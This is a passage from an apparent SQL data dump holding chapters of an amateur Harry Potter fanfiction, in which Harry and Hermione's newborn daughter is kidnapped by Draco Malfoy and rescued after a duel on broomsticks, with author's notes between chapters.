Ron looked scared. Not very \ngood doing for Harry. He tried to look closer, and didn\'t hear Oliver\'s \nwarning.<br><br>Harry never saw the ball coming towards him, by the time it \ncollided with him, it was too late. The impact knocked him out cold and he slid \nfrom the broomstick. From the elevation of the broom, Harry fell to the sand \nbelow.<br><br><br><br><br><br>A/N: It\'s not really a cliffhanger, but I\'m the \nonly one who knows what\'s going to happen ~evil laugh~. And let me just say- \nTHANK YOU SO MUCH FOR THE GREAT REVIEWS EVERYONE!!\n'),
	(195, 8, '~ Home for the Summer~<br><br>Chapter Eight- The Sixth Sense<br><br>A/N: \nNo, no one is going to see dead people!<br><br><br><br><br><br>Young Ginny \nWeasley had always been the silent child, she still was. Her secret love for a \nparticular wizard had always remained only in her heart. After all, it was her \nbrothers best friend. But now, she was at his bedside in the groundskeepers \nhome. They were the only ones in that room for almost six hours now, excepting \nthe fact that he was still unconscious. She kept the cool washcloth on his \nforehead above his glasses. Ginny soaked the cloth in the bucket, ringing out \nthe access water. She watched him take a few deep breaths before replacing it. \nThe left side of his body twitched when the fabric touched his skin. His neck \nturned, and he made a moaning sound, the muscles in his face jerked.<br><br>&quot; \nHarry?&quot; she ran a finger along his dirt stained skin. The movements became \nquicker, Ginny called for Hagrid, &quot; Harry, Harry!&quot;.<br><br>Suddenly, he shot up, \nmaking her jump back. He was panting, confused of the location. &quot; Hermoine&quot; the \nfirst thing to leave his lips.<br><br>&quot; Ginny&quot; she corrected what she thought he \nmeant to say.<br><br>His breathing was heavy, &quot; where am I?&quot; he looked in every \ndirection around him.<br><br>Ginny wrapped her arms around his neck, &quot; oh no!&quot; \nshe cried, &quot; you have amnesia!&quot;.<br><br>He knew he did not have any memory loss, \nhe easily remembered the past months, just not the past hours. &quot; I don\'t have \namnesia, Ginny&quot; he struggled in her embrace of death.<br><br>The door opened, \nand Hagrid came to his rescue. &quot; Ginny, be careful with him&quot; she dropped him \nwithout warning and he suddenly fell back against the pillows. Ginny stood and \nran from the room, he was use to that. &quot; You\'re better off down there, you got \nquiet the hit&quot;.<br><br>He still wanted an answer from his previous questions, &quot; \nwhat happened? Where\'s Hermoine?&quot;.<br><br>&quot; Right here&quot; she silently stood in \nthe doorway behind Hagrid, a blanket hung from her shoulder.<br><br>Harry sighed \nwith extreme relief, &quot; thank god&quot;.<br><br>&quot; You fell very far, you\'ve been out \nfor awhile now, don\'t worry, there won\'t be any scars, one is enough for you&quot;. \nHe turned, &quot; as for you, I remember telling you to stay in bed as \nwell&quot;.<br><br>Harry looked up at the ceiling, &quot; don\'t bother, she doesn\'t \nlisten&quot;.<br><br>&quot; That was you&quot; Hermoine walked slowly to the other side of his \nbed, crawling under the blanket, she nested her head under his chin, he was \nstill in the uniform.<br><br>He wrapped his arms around her, then felt something \nwas different, like something was missing. &quot; Wait a second&quot; he neck shit up, &quot; I \nremember, you were in pain when I last saw you&quot;.<br><br>&quot; I know&quot; she gazed at \nhim, placing her arm around his waist, &quot; I\'m alright, and so is your \nbaby&quot;.<br><br>He seemed calmer, but then he moved his hand closer to her \nstomach, Hermoine was still looking, smiling now. He ran a finger against her \nshirt. Hagrid watched them, &quot; I believe Hermoine meant to say..&quot;.<br><br>She \nfinished, &quot; your daughter&quot;.<br><br>The muscles in his entire body went numb, &quot; \nm-my w-what?&quot;.<br><br>Hermoine laughed at his reaction as Hagrid left, &quot; a lot \ncan happen when you\'re out of it for that long&quot;.<br><br>&quot; Hermoine, I wasn\'t \nthere, I-I can\'t even think of how to apologize&quot;.<br><br>She was still laughing, \n&quot; then don\'t. You\'re here now, and that\'s all that matters&quot;.<br><br>&quot; We \nactually have a daughter?&quot; he couldn\'t believe that sentence.<br><br>Hagrid came \nback into the room, his arms crossed across his chest, yet, Harry was unable to \nsee why. As he came closer, the bundle wrapped in tan terry cloth became \nvisible. He and Hermoine sat up.<br><br>&quot; Harry Potter, meet your first born&quot; he \nhanded the warm baby body into Harry\'s arms. While she was small enough to hold \nin only one arm, he had both gloved arms around her.<br><br>He was nearly in \ntears, his arms trembling. They tiny eyes were closed, the little hands curled \nagainst the blankets rim. Her breathing was soft, and yet, she had no idea what \nwas going on. &quot; She\'s so tiny&quot;.<br><br>&quot; Like you two, she made an early \narrival&quot; Hagrid said, &quot; anyways, I\'ll leave you three alone to, uh, get \naquatinted&quot;.<br><br>Hermoine watched every movement with Harry and his daughter, \ntheir daughter. &quot; What name suites her?&quot; he asked.<br><br>She looked down at the \nbaby, &quot; Ella&quot; and she was so sure.<br><br>Harry\'s eyes darted at hers, &quot; \nElla?&quot;.<br><br>&quot; Ella Potter, it has such a lovely pattern&quot;.<br><br>&quot; Potter? \nWhat about Granger?&quot;.<br><br>She objected, &quot; two last names are a lot for a \nchild. Your parents would have loved to see her, mine despise her when they \ndon\'t even know her&quot;.<br><br>Harry managed a weak smile of sympathy. He knew he \nwanted to kiss her, she wanted him too as well, and she knew that look seven \nmonths ago in her room. Hardly moving an inch, the tiny bundle in Harry\'s arms \ninterrupted. For the first time, paying attention to her little noise, Harry saw \nElla\'s eyes. The same blue and green mixture to create a crystal like \nindescribable sight. His daughter had the exact same eyes as him.<br><br>&quot; She \nlooks like you&quot; Hermoine gracefully commented.<br><br>Harry was still engaged in \nher eyes. Ella\'s small fingertips lightly scraped against the leather on his arm \ngear. When his finger touched her wrist, his mind lost control into a spiraling \npremonition. It was a whirlwind of dark colors, huge gusts of wind. In the faint \ndistance, he saw Ella moving further and further away. Hermoine was screaming in \nthe background. He tried to reach out for her, but the gravity beneath him gave \nway.<br><br>&quot; Harry?&quot; her voice snapped him back into reality. &quot; Oh no, what did \nyou see?&quot; she knew what he had just experienced, by his expression.<br><br>He \ndidn\'t respond right away, still trying to sort it out himself. Looking down at \nthe baby, he did not want to ruin her birthday by frightening anyone, &quot; nothing, \nit was nothing&quot;.<br><br>Hermoine and Harry settled into the bed, cuddling, \nkeeping Ella nestled between them for close security. Ella Potter was born on \nNovember fourteenth, in Hagrid the groundskeepers home. The first thing said \nafter her birth was her identical looks to her then unconscious father. On the \nsame day she was born, the special telepathic powers between herself and Harry \nwas discovered. It was expected from a child of a wizard and a witch, though \nnever this early and normally with both parents. Who knew something of that for \nan eye color could change such a thing. And, a premonition, could prepare one \nfor something so horrible yet to come.<br><br><br><br><br><br>~ Now that the \nbaby is born, what do you think is going to happen? Maybe taking care of a \nnewborn isn\'t the easiest thing in the world, but this will be beyond \nimagination.~\n'),
	(195, 9, 'Over the Edge<br><br>Chapter Nine- One Sip, One Kiss<br><br><br><br>Harry \nsat across from Hermione on the tabletop. Before he was a cauldron and nine or \nten little bottles circling around it. Once in awhile she\'d take a different one \nand pour just a touch, or the whole thing, inside. The first potion that came to \nmind of Hermione ever making was the polyjuice potion back in their second year. \nThat turned her part cat part human. So this was scaring him.<br><br><br><br>&quot; \nSince you are the Book Queen, shouldn\'t you have something, anything, here to \ntell you what you should or shouldn\'t be putting in there?&quot;.<br><br>She kept her \nconcentration on the cauldron. &quot; I memorized this potion in our third year when \nI was trying to find out if Ron liked me. But don\'t worry, I\'m over that. This \nis more serious&quot;.<br><br>&quot; Just a little&quot; he smiled.<br><br>Hermione glared at \nhim, smirking when she saw his face. &quot; You\'re making fun of me&quot;.<br><br>&quot; Oh no, \nno, no, I\'d be much too frightened to tease you&quot; (A/N- I know that\'s from Star \nWars, I don\'t own that either).<br><br>&quot; You\'re the famous Harry Potter, you \ncan\'t be afraid of anything after facing off Lord you know who&quot;.<br><br>Harry \nkept his eyes locked on her, &quot; we all have a sort of sensitive side, maybe with \nthe exception of you&quot;.<br><br>She corked an empty bottle, &quot; it\'s there, I\'ve got \none, you just have to find it&quot;. That could have been a hint, or an offer for \nhim. The spark in her eyes was quiet the indication. Hermione reached for a \ncrystal glass that had been on one of the chairs. &quot; Alright&quot; she re-directed her \nattention again to pouring a thick blue liquid into the glass, &quot; drink \nthis&quot;.<br><br>Harry accepted it from her, studying the substance. Tightly \nshutting his eyes, he swallowed it all in one gulp, leaving a very disgusted \nlook on his face. &quot; Oh god, I hope that stays down&quot;.<br><br>Hermione giggled, &quot; \nnow lay down&quot; she gently guided him onto the tabletop.<br><br>&quot; Why? What\'s \ngoing to happen?&quot; he looked worried, but to her it was amusing in an adorable \nfashion.<br><br>&quot; Don\'t worry&quot; she whispered, &quot; it\'s only going to feel like \nyou\'re falling asleep&quot;.<br><br>He was already beginning to sound groggy, by that \ntime he was entirely relaxed, though worried he might not wake up. &quot; What good \nwill that do?&quot;.<br><br><br><br>&quot; Don\'t worry&quot; Hermione repeated, watching his \neyes close and his breathing becoming heavier, &quot; Harry?&quot; she \nwhispered.<br><br>His voice was more clear than hers, &quot; yes?&quot;.<br><br>She leaned \nover him, &quot; why did you do it? Why did you kill Neville and \nColin?&quot;.<br><br>Harry took a deep breath, acting as though he was sleep walking, \n&quot; Hermione&quot; it was barely audible.<br><br>&quot; I\'m right here&quot;.<br><br>His head \nturned, facing her, his eyes slowly opening. He may have not known what he was \nsaying, but now she didn\'t know what she was doing. Leaning downward, closer and \ncloser. It looked very much like hesitation, but that\'s not what Hermione \nfelt.<br><br>Time, and every aspect of it, stopped upon placing her lips on \nHarry\'s.<br><br><br><br><br><br><br><br><br><br>Authors Note- The next chapter \nis what a lot of you have been waiting for. But, I can\'t post it here, so go to \nhttp://fanfiction.portkey.org/ and it will be there. The whole story is there, \nsame title. In case you can\'t find it there, my pen name on that site is \ntweak27. It may take just a little bit longer, cause I have to actually write \nthe chapter. It\'s not the same writing something like THAT in the middle of \nclass. I hope you guys like it.\n'),
	(195, 10, '~ Home for the Summer~<br><br>A/N: A special thank you goes out to \nLilFlyergirl for all her help on the upcoming chapters!<br><br>Summary: Two \nmonths after the birth, their world is about to be mangled \nwith.<br><br><br><br>Chapter Nine: Resolutions Part \nTwo<br><br><br><br><br><br><br><br>Every human being by some unknown force must \nlove their offspring, their child, their own flesh ad blood. From birth and \nbeyond death. Hermoine and Harry were no different. For the girl, their journey \ninto parenthood begins day one of the pregnancy. Though the nine months, or \nseven months in Hermoine\'s case, day by day, they\'ve already become a mother. \nFatherhood does not begin into fatherhood does not begin until first holding \nthat newborn baby, of course, Harry had to wait until he regained consciousness. \nHe adapted very well very fast with his daughter. Still attending Hogwarts, \nstill playing Quidditch, still being Harry, just now with a baby. Hermoine \nadmired the relationship he formed with Ella, because he wanted to, not just \nbecause he was the father. Such a small package could do wonders for revealing \ntrue feelings for someone who was always there.<br><br>&quot; I love you Harry, I \nalways have. From the moment I first saw you on the train to the night with, the \ndiary. And now, with this baby, I have no reason to ever stop loving you&quot;. Of \ncourse, no one overheard Hermoine\'s rehearsal, except her two month old \ndaughter. But, while she watched her mother, she had no idea what she was \nsaying. &quot; You\'re right, I sound desperate and pathetic&quot; Hermoine took her \ndaughter\'s actions of chewing on her blanket to be negative towards what she was \nreally thinking. &quot; Alright, here\'s what else I got&quot; she closed her eyes, \npreparing with a deep breath. &quot; Harry&quot;.<br><br>He had just entered the dorm to \nhear his name, &quot; yes?&quot;.<br><br>Hermoine jumped, her back had been facing him \nwhen he returned from Quidditch practice. &quot; Oh, nothing&quot;.<br><br>Harry left his \nbroom in the corner, walking over to the cradle, made by Ron as a gift, gently \nkissing Ella\'s head. He looked over at Hermoine, whom was fiddling with her \nfingers trying to get over the strange feeling in her stomach from what she had \nbeen practicing to say. He dared the question lingering in his mind all day. &quot; \nHow would you like to have dinner tonight, together?&quot;.<br><br>She creased her \nnose in an adorable fashion, &quot; don\'t we have dinner together every \nnight?&quot;.<br><br>&quot; Well, yes&quot; Harry bent down, gathering Ella in his arms, &quot; but \nI meant, alone&quot;.<br><br>Hermoine mocked an eyebrow, &quot; I don\'t think that all is \never empty&quot;.<br><br>Ella tried to claw at Harry\'s cheek, he kept moving his head \nin the other direction. &quot; I know, I meant, on a picnic, or something&quot;.<br><br>&quot; \nIn the middle of January?&quot; she hated making it difficult, she didn\'t even know \nwhy, but she knew she didn\'t mean to, or want to. Hermoine was in love with his \nidea, that\'s not all she was in love with.<br><br>Harry shrugged, &quot; snow has \nnever been a problem before&quot;.<br><br>Hermoine\'s smile cringed, &quot; okay&quot; she \nlooked in the other direction, &quot; I have to get to class right now&quot;.<br><br>&quot; \nMeet me at the Quidditch field when the sun goes down&quot; he \nsmiled.<br><br><br><br>When returning from class, Hermoine found herself to be \nalone, something very rare in that dorm room. No Harry, or Ella, or Ron. The sun \nhad just slipped past the horizon, leaving rays of glowing pick and orange \nacross the sky. Sundown, exactly what he told her. Outside, there were \nfootprints in the snow leading in the same direction at the Quidditch field, \nsomething larger had been dragged along next to them.<br><br>The entire field \nwas a crystal white color across the colored rims that surrounded the diameter. \nHermoine walked to the center where Harry stood, a dark blanket at his feet. He \nsmiled when she was near him.<br><br>&quot; Why did you want me to come at sunset?&quot; \nby the looks of his flushed cheeks, he had been there for sometime.<br><br>&quot; Sit \ndown, I\'ll show you&quot; Hermoine gently sat crossing her legs, Harry knelt at her \nside. &quot; Close your eyes&quot; she did so, hearing him command a spell she could not \nrecognize right away. &quot; Open them&quot;.<br><br>She gasped, &quot; o-oh my god, Harry, \nit\'s absolutely beautiful&quot;. From the top of each seating tower to the bottom of \nthe audience cubicles, each inch wrapped in long strands of little light bulbs, \nwhich were now lit. Illuminating and reflecting on each snowflake, it was a \nbreath taking sight. &quot; I can\'t believe you went through so much \ntrouble&quot;.<br><br><br><br>&quot; It was dark&quot; he joked.<br><br>Hermoine looked at the \nlights behind her, &quot; this must have taken forever&quot;.<br><br>&quot; No, not \nreally&quot;.<br><br>&quot; But it\'s so cold&quot;.<br><br>Harry scooted closer, cuddling her \nso they could keep each warm. &quot; It wasn\'t too bad&quot;.<br><br>Hermoine gently took \nthe drawstring of his robe into her fingers, &quot; you never complain, it\'s like \nnothing ever bothers you&quot;.<br><br>&quot; That\'s not entirely true&quot; his way of telling \nthat it had to do with her.<br><br>He felt her breath shiver, &quot; what bothers \nyou?&quot;.<br><br>Harry looked down to see her eyes were closed and he already knew \nthat feeling. Both were caught up in the moment in which they did not know what \nwould happen next. Hermoine reached across her body to grab his elbow next to \nher chest. Harry bent down to her neck, gently placing his lips on her skin. She \ntwitched slightly at the sudden warmth. Gently, her ever so slightly kissed her \nneck, as her breath became more ragged. Each few seconds, moving down her jaw \nline, soon enough making it to the corner of her mouth. The same moment, \nHermoine shifted more into him. What they both strongly felt was going to \nhappen, had nothing to do with their past. Maybe the diary, but not the fact \nthat they had a daughter together.<br><br>&quot; Harry, Hermoine!&quot; the screaming \nstartled them enough that they returned to normal positions. Ron came bolting \nacross the field, his cloak creating a straight trail behind him. He collapsed \nbefore the blanket, desperately gasping for air, making the deep bruise near his \nright ear very visible.<br><br>&quot; Ron? What\'s wrong?&quot; Hermoine leaned \nforward.<br><br>He managed one word between his struggle, &quot; Ella&quot;.<br><br>Harry \ngrew extremely worried, &quot; what about her?&quot;.<br><br>Ron continued panting and \ncoughing, recovering slowly, &quot; someone took Ella&quot;.<br><br>&quot; What!&quot; Hermoine and \nHarry eagerly exclaimed.<br><br>&quot; Someone came in, I didn\'t see him when he \nknocked me out. I came to only a minute ago, and she was gone. I looked \neverywhere&quot;.<br><br>They left Ron in the snow, running faster than ever before, \nignoring how tired their muscles already were. The cold air bit at their \ncheekbones and eyelids. Once inside the school, they were ready to deal with the \nshifting staircase, which luckily did not move. Hermoine slipped on the same \nstep as before, but Harry grabbed her arm on time.<br><br>An empty cradle was \nthe first thing either saw when entering the dorm. Maybe they would have \ncontinued to look, if it wasn\'t for that red envelope, sitting on the window \nsill.\n'),
	(195, 11, '~ Home for the Summer~<br><br>A/N: This chapter and the next may be a bit \nshorter, but they\'re suppose to be combined, I just wanted to change the \ntitle.<br><br>Chapter Ten- Howler in the Heart<br><br><br><br>The red envelope \nstood as a symbol for the suspense and great fear for Harry and Hermoine. While \nit could not bring any physical harm, the idea of it\'s contents shattered their \nminds.<br><br>&quot; What if it\'s a trick?&quot; Hermoine suggested, only wanting to find \na simple solution, or an excuse.<br><br>&quot; It\'s a howler, it can\'t get that \ncomplicated&quot; Harry took an extra step. Like Ron when receiving his first, his \nhands were trembling upon opening it.<br><br>&quot; Master Potter&quot; the voice said \nbefore forming itself into a mouth shape. Dobby, he automatically matched the \nvoice to that of the House Elf he freed years ago. &quot; Dobby regrets to inform \nHarry that his daughter has been kidnapped. Dobby cannot say who has done such a \nhorrible thing, only that the dreadful person has left you a message in the one \nplace Hogwarts dreads the most&quot;. And with that, the howler \nself-destructed.<br><br>Harry turned around, leaving the dorm, Hermoine \nfollowed, clueless. &quot; Harry, where are we going?&quot; she chased him down the \nhallway.<br><br>&quot; The one place Hogwarts dreads the most&quot;.<br><br>&quot; Which is?&quot; \nHermoine got her answer when they arrived at the girls bathroom. At least, she \nthought it was her answer. &quot; Here? The girls lavatory?&quot;.<br><br>Hermoine wanted \nto know what Harry was thinking, Harry knew what he wanted, just not how to get \nit. Here was a start. Inside, the faucet with a rowdy snake mounted into the \nsteel easily became obvious. Rapidly, he searched the area.<br><br>&quot; Of course&quot; \nshe discovered his doing, &quot; the chamber of secrets. But isn\'t it sealed \nagain?&quot;.<br><br>Harry found yet another envelope, but this one was black, not \nred. It was between the pipes and the while, stained porcelain. This one, was \nnot a howler. &quot; Maybe, but I don\'t think we\'ll have to go in&quot;.<br><br>&quot; What \ndoes it say?&quot; she asked when seeing there was no voice along with \nit.<br><br>Harry held the paper between his trembling hands. &quot; So, Potter, you \nwere smart enough to find this. If you\'re not too late, you may be lucky enough \nto save your love and precious joy. Just remember, you\'ll have to catch me \nfirst&quot; he dropped his hand, &quot; that doesn\'t help&quot;.<br><br>Hermoine stayed deep in \nthought, &quot; you\'ll have to catch me first&quot; she silently repeated, her face \nsuddenly gleamed, &quot; you\'ll have to catch me first!&quot; she eagerly caught Harry\'s \nattention. &quot; Draco, Draco took Ella!&quot;.<br><br>&quot; How do you know?&quot; while Draco \nMalfoy was an easy suspect, he did not want to automatically want to jump to \nthat conclusion. But he wanted to find someone.<br><br>Hermoine\'s exhilaration \ngrew, &quot; whenever you play a match against Slytherin, Draco always says \' you\'ll \nnever catch me\', well now he\'s saying that we have too&quot;. She saw the slight hint \nof doubt in Harry\'s eyes. &quot; Dobby sent us the Howler, why else would he do it if \nhe was not once the slave to the Malfoy family?&quot;.<br><br>There was no answer. &quot; \nOh my god&quot; Harry muttered, &quot; but how does this help us find where he \nis?&quot;.<br><br><br><br>%#%#%#%#%#%#%#%#%#%#%#%#%#%#%#%#%#%#%#%#%#%#%#%#%#%#%#<br><br><br><br><br><br>Hermoine \nadjusted the left arm guard to Harry\'s arm, securing the strap. No matter the \nmatch, he had never been dressed in the uniform so fast, like it never \nhappened.<br><br>&quot; You don\'t have to do this&quot; she told him, &quot; if we go to \nsomeone for help, it will be safer&quot;.<br><br>&quot; If we go to someone else, he\'ll \nkill her. Last time we wanted help, all the better things happened because of \nsomething we did.<br><br>She still tried to find some sort of loophole, &quot; but \nnone of that could get you killed&quot;.<br><br>Harry held her hand, &quot; every time I \ngo out there, every match I play, there\'s a chance I could die, there was a \nchance I couldn\'t have woken up the day I fell. It\'s more serious this time, we \nknow Ella is safe, and that he has her. If this is the way he wants us to get \nher back, so be it. If it isn\'t done now, it may not be the first time we loose \nher&quot;. She wrapped her arms around his neck, pulling him as close as he could be. \n&quot; If anything bad happens, get out of here as fast as you can&quot;.<br><br>Hermoine \nleft a gently peck on his cheek before backing away, &quot; please be \ncareful&quot;.<br><br>&quot; I\'ll be back when I have Ella&quot;.<br><br>She watched him leave \nout onto the court. Still remembering the courageous words, desperately \nbelieving them.<br><br><br><br>Another Author\'s Note: Like I said, this one and \nthe next one will be a little short only because I get bored easily and wanted \nto change the title. But I should have Chapter 11 up today. There\'s only two \nchapters left!\n'),
	(195, 12, '~ Home for the Summer~<br><br>Summary: Harry has to enter the hardest \ntournament of his life, against his archenemy. Not only has he never done so \nbefore, but he\'s playing for the life of his daughter.<br><br>A/N: When &quot; spell \nfencing&quot; is mentioned, it\'s my way of saying (because I\'m not sure what it\'s \nreally called) of that club Professor Snape did when the students in The Chamber \nof Secrets for their defense against the monster. In case some people still have \nno idea what I\'m talking about, when Draco and Harry were using their wands \nagainst each other and Draco made that snake appear. That, and any spells in \nthis chapter, don\'t exist, I made them all up from very random \nthings.<br><br><br><br>Chapter Eleven- The Match<br><br>Malfoy waited for Harry \nat the center of the Quidditch field, also in uniform with something he called \npride. The same evil snarl, it was almost like it never left his face from the \ntime he was born. Harry, on the other hand, had never had such a stare, cold as \nthe night air around them. Though it did hide his dear from Draco very well, he \ncould not ignore it himself. It was a strange feeling, he had never known it \nbefore, then again, his child had never been kidnapped before. Harry fiercely \ngrinded his hand against the neck of his broomstick, wanting it to be Malfoy\'s \nthroat.<br><br>&quot; I\'m surprised you came, Potter&quot; he spat out the name, his \ntongue moving like a snakes.<br><br>&quot; Why\'s that?&quot; Harry feared every \nmoment.<br><br>Draco began small steps around Harry\'s perimeter, &quot; thought maybe \nyou\'d be a little to scared&quot; their faces were inches away from the \nother.<br><br>&quot; You have my daughter, no fear will ever come between that and my \nwanting her back&quot; he always had Malfoy in an eye\'s corner, in case.<br><br>Draco \nreturned to where he was once standing, laughing more or less to himself, &quot; how \nbrave. There\'s only one thing you can do to get what you want. And that\'s lose&quot; \nHarry motioned for more of an explanation, &quot; we\'ve known each other for quiet \nawhile, Potter&quot;.<br><br>&quot; Four years, Malfoy&quot; Harry mocked him with the same \nsensible wording.<br><br>He flared an eyebrow (that\'s rather famous for Draco \nMalfoy), &quot; you\'ve been able to beat me at two things, and only two. Quidditch&quot; \nthey both knew that had been recognizable for a long time, &quot; and spell fencing&quot; \nthat however, never made an appearance since the chamber was opened, and one or \ntwo disagreements. Harry\'s jaw dropped, less than an inch to avoid being \nnoticed, &quot; this is a combination of both, if I didn\'t say so myself. If you win, \nyou win. If you lose, it won\'t be long until your daughter joins your \nparents&quot;.<br><br>That very comment made Harry\'s blood boil under his skin. \nHarry, then Draco removed their wands under their robes, straddling their \nbrooms, kicking off from the ground, they kept an equal distance. Without any \nwarning, something Malfoy never used, he commanded a rare spell professors \nforbid from the students. Harry dipped downward, it slid across him, he nearly \nlost his balance.<br><br>&quot; Face it Potter, you\'ll never beat me, ever&quot;.<br><br>&quot; \nI\'ve done it before, why not again?&quot;.<br><br>Draco swerved around him, &quot; because \nyou know that loosing will become much more than a match, it will be a \nlife&quot;.<br><br>Harry twirled around, &quot; even more to hurt you&quot; he clutched the \nwand, &quot; asamodlelmin!&quot;. The flash hit him dead on, causing him to be spun \naround. Unfortunately, he did not let go.<br><br>But, his left arm had been \nburned, &quot; you\'re going to pay for that!&quot;.<br><br>Malfoy curved, slamming his \nbroom into Harry\'s. The wand slipped from his hand a fell far to the snow. They \nboth went in a whirlpool to where it had fallen. Hermoine saw it as well, \nunaware that her attempt to retrieve it could become her death trap.<br><br>&quot; \nHermoine, get down!&quot; Harry screamed, right after her fingertip touched the rim. \nShe threw herself to the ground, Draco missed, flying inches above her back. \nHermoine knew it was him, so she raised her arm, allowing Harry to snatch the \nstick from her hand.<br><br>Harry rejoined him back in the air. There was a few \nintense moments of deadly glares and motionless broomsticks. He had picked the \nwrong time to get a better hold on the end of his wand, it coincided with the \nnext spell to be thrown at him.<br><br>&quot; Acasanndren!&quot;.<br><br>Had he been \npaying full attention, Harry still wouldn\'t have been able to find someway to \nblock himself on time. The force was too strong to even try a fight against. It \nthrew him halfway across the Quidditch field, throwing him into one of the \naudience stands used by the professors during the matches. Hermoine saw. He hit \nthe backboard, then went crashing to he benches, falling through one. The \nextreme pain ran through his body and mind, no matter what he did, he couldn\'t \nmove, he really thought he had lost, once and for all.<br><br>A simple cry, he \nwas able to hear, biting his lip to stop the wincing and he could hear better. \nThe light noises were coming from the same cubicle he was in. &quot; Ella&quot; his voice \nstruggled. Suffering, he turned himself onto his stomach, using what little \nstrength was left in his body, in his hands, to pull himself on the wooden \nboards. Pushing aside a broken bench piece, the eyes that matched his, wrapped \nin an old, ratted blanket. She smiled when seeing him, unaware of the events \nthat may have killed both of them.<br><br>&quot; Thank god&quot; he said to himself, \ngently stroking her little chin.<br><br>He knew the second Draco landed in the \ntower, it\'d be hard not too. Though Harry remained still. &quot; You don\'t know when \nto give up Harry, do you&quot;.<br><br>Draco had never called him by his first name. \n&quot; I guess not&quot;.<br><br>&quot; Too bad, this all could have been less painful&quot; for a \nmoment, Harry Potter knew he was done for, that these were the last moments of \nhis life. Maybe Ella\'s would be spared if there was anything remotely close to a \nspark of good doing in Draco Malfoy\'s heart. Resting his head on the dirty \nfloor, he noticed the baby\'s arm reaching out to something. For the past few \nweeks, she had just learned that she had control of her arms, since then, she\'s \nbeen reaching for everything in sight. But this time, it was something \ndifferent.<br><br>The board.<br><br>The board that had been protecting her \nmoments ago. It was almost like Ella was telling Harry something, maybe she \nwas.<br><br>In one swift move without any thought, Harry grabbed the board, \nflipping onto his back, just on time to block Draco\'s wand. While he reacted, \nHarry jumped to his feet, a rather painful motion. He took another swing at \nDraco\'s temple, successfully hitting him. Malfoy groaned, forgetting about the \nwant, and concentrating on getting the board away from his opponent. During \ntheir attempts, Draco and Harry forced themselves and the other in the same \ndirection, over the balcony. And together, they fell from the stand to the cold \nsnow below.\n'),
	(195, 13, '~ Home for the Summer~<br><br><br><br>Summary: Harry Potter and Draco \nMalfoy fell from the audience tower. What happened to them? What happened to \nElla?<br><br><br><br>A/N: This is the final chapter. While I am sad, I have \nanother Harry Potter story in the making. Look for the first chapter soon!! I\'d \nlike to thank every single person who reviewed this story, it really meant a \nlot. Also, thank you to OrioCookie for the whole spell fencing and dueling \nthing; it\'s too late to change it now but I greatly appreciate \nit.<br><br><br><br>Chapter Twelve- From Dreams to \nReality<br><br><br><br>Hermoine witnessed the fall of the two boys from the \ntower. When they hit the ground, she already took off running back to Hogwarts. \nRon and Hagrid came back with her, along with Dumbledore and McGonagall. Madame \nPomfrey, who had been their savior for the night, rescued baby Ella and had her \nsafe in the hospital wing before she grew far ill. As for the fallers, they were \na different story. No one moved their bodies from the positions in which they \nlanded, no one even went near them until Pomfrey arrived.<br><br>Ron stayed very \nclose to Hermoine, whom was on the near break of tears, not knowing who was \nalright, if anyone was. Madame approached them after carefully examining them. \nNot that she ever had a cheerful expression, defiantly not now.<br><br>&quot; I am \nsorry to report that mister Malfoy broke his neck, most likely once he hit the \nground&quot;. There was no reaction, they knew what he did and now he got what he \ndeserved. It was almost like a celebration.<br><br>Hagrid dared through the \nstricken silence, &quot; and Harry?&quot;.<br><br>She sighed, looking at Hermoine, &quot; I\'m \nsorry, it does not look too good for him either&quot;.<br><br>&quot; He\'s dead?&quot; Hermoine \nstruggled through the words that could shatter her heart in an instant.<br><br>&quot; \nNo. His breathing is very weak, he may have broken several severe bones that may \nhave caused fatal damage. I don\'t believe he may last much longer, possibly two \nor three minutes&quot;.<br><br>Hermoine felt awful, like all the things Madam Pomfrey \nhad just told was happening to her. Like her insides were being torn apart bit \nby bit and her life was slowly slipping away. He had survived such a fall not \ntwo months ago, why couldn\'t he survive this time?<br><br>&quot; Hermoine, why don\'t \nyou go and, say your goodbyes&quot; she knew it really effected Hagrid to say that to \nher, or at all.<br><br>She left Ron, stumbling through the snow to get to the \nbase of the tower. Kneeling next to his limp, almost lifeless body, she saw that \nthe rising and falling of his chest, was hardly able to see. Gently, she brushed \naway part of his hair from his forehead, revealing his scar.<br><br>&quot; You saved \nElla\'s life&quot; she told him, in case he didn\'t know. &quot; It\'s not fair that now you \nhave to go&quot;. She took a deep, but weak, breath, &quot; I was going to tell you this \nearlier, but the chance never came, and I don\'t think it\'s going to come again. \nI love you, it\'s easier done than said. I loved you long before that night with \nthe diary, and it only seemed to be greater once Ella came along. You probably \ncan\'t hear me, but hopefully someday, you\'ll know&quot;.<br><br><br><br>Hermoine \nleft. She could no longer bare being that close to him, when he was so far away. \nAll she wanted was to get away from the Quidditch as fast as possible, and never \ngo back there. The idea of returning to Hogwarts made her feel sick. Every inch \nof the school already reminded her of him, the things they did, or what not. \nWhen arriving back at the dorm room, she wouldn\'t go to bed, sitting on the edge \nof the mattress, any movement didn\'t seem worth it. She watched Ella sleeping, \npeacefully, it hurt her to know that her daughter would never grow to know her \nfather. Their relationship was broken, because of a teenage demon.<br><br>Hours \nafter the incident, Hermoine let the exhaustion over take her, there was not \nenough will power to keep fighting to desire to sleep.<br><br>While in a \nmotionless slumber, she felt the air around her slip into the dream world she \nknew too well. Standing in the dark hallway, all alone, for a moment, the \nsilence got to her and there was no clue for why she was there. A faint whisper \nin the background trickled her eardrum just barely. Turning in the most rapid \nmovement, Hermoine caught the slight glimpse of a shadow, and yet, awoke before \ndiscovering what, or who, it was.<br><br>She shot up in bed, panting. The dream, \nit felt so strange, so real. A cold chill up her spine indicated, that maybe she \nwas right. Her mind, and the bare remainders of the dream controlled the \nphysical movements outside the dormitory. Stopping in the hallway, the only \nsound was her breathing, the only sight was what little was lit from the candles \ndown the aisle. Hermoine\'s mind had gone blank, and she no longer wanted to \nthink of her actions. Her mind was too powerful, even to herself, and now she \nonly wanted go by what her heart told her.<br><br>Her heart was telling her to \nrun, to nowhere specific at the time, just to run. She kept running, faster with \neach step, and yet, not knowing where she may end up. Somehow, her mind came \nback in control when she neared the hospital wing. Hermoine stopped herself \ninstantly at the main doors. She knew. She knew that\'s where the bodies were, \nwhere Draco and Harry were, until further arrangements were made.<br><br>Why? \nShe thought to herself. Why was she there? She couldn\'t stand the fact that just \non the other side of those doors was the lifeless body of the boy she was deeply \nin love with. Even knowing that he was no longer alive, she still had the same \nfeelings.<br><br>Forcing every muscle in her body, Hermoine began to walk away, \nback to her dorm. Maybe other sleepless nights would lead to such a dream to \narise hopes that would fail only minutes later. It wasn\'t fair, nothing about \nthe day had been fair. One simple 